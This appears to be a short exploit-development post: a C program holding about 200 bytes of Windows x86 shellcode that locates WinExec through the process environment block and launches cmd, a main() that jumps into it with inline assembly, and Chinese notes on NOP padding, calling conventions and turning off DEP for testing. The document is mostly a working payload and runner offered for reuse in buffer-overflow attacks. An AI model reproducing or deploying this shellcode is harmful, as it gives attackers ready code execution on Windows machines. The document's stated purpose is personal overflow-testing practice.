include <stdio.h>
unsigned char shellcode[] = {
// Windows 2000, Windows 2003, Windows XP
// Windows Vista, Windows 7通用cmd Shellcode
"\x90\x90\x90\x90\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B"
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9"
"\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C"
"\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0"
"\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B"
"\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72"
"\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03"
"\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47"
"\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F"
"\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72"
"\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66"
"\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14"
"\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE"
"\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53"
"\xFF\xD2\x68\x63\x6D\x64\x01\xFE\x4C\x24"
"\x03\x6A\x05\x33\xC9\x8D\x4C\x24\x04\x51"
"\xFF\xD0\x68\x65\x73\x73\x01\x8B\xDF\xFE"
"\x4C\x24\x03\x68\x50\x72\x6F\x63\x68\x45"
"\x78\x69\x74\x54\xFF\x74\x24\x20\xFF\x54"
"\x24\x20\x57\xFF\xD0\x90" //200bytes.
};
int main(int argc, char **argv)
{
__asm
{
lea eax, shellcode
push eax
ret
}
return 0;
}
最近在做溢出测试的时候,发现msfpayload
生成的shellcode都不能用,为了将精力放在控制跳板和前期修正上,现在先在网上当了一份比较稳定的payload
,等到跳板学的差不多了,再来看这些shellcode。
原shellcode中没有前4个nop和最后一个nop,所以为195字节。为了更好观察,按4对齐了。而且shellcode开始的时候一般都要有几个nop操作,避免函数是通过
_stdcall
winAPI(retN)返回的时候使esp减小。
默认编码为_cdecl
(ret),调用方清空,这时候就没有此nop存在的必要了,函数流程已经改变。但是为了保险起见,一般都会加上16个nop
,尾部加nop一方面是对齐,一方面是在调试的时候好观察布局进行shellocode改造。
测试的时候要关掉DEP。